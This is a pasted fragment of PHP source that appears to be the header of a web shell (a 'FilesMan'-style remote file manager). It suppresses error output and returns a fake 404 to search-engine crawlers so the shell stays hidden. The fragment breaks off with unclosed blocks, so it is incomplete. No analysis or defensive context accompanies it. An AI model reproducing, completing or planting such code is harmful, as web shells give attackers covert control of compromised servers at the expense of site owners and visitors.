Pasted

<?php
@ini_set("output_buffering",0);
@ini_set("display_errors", 0);
$color = "#11b825";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
 if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
 ?>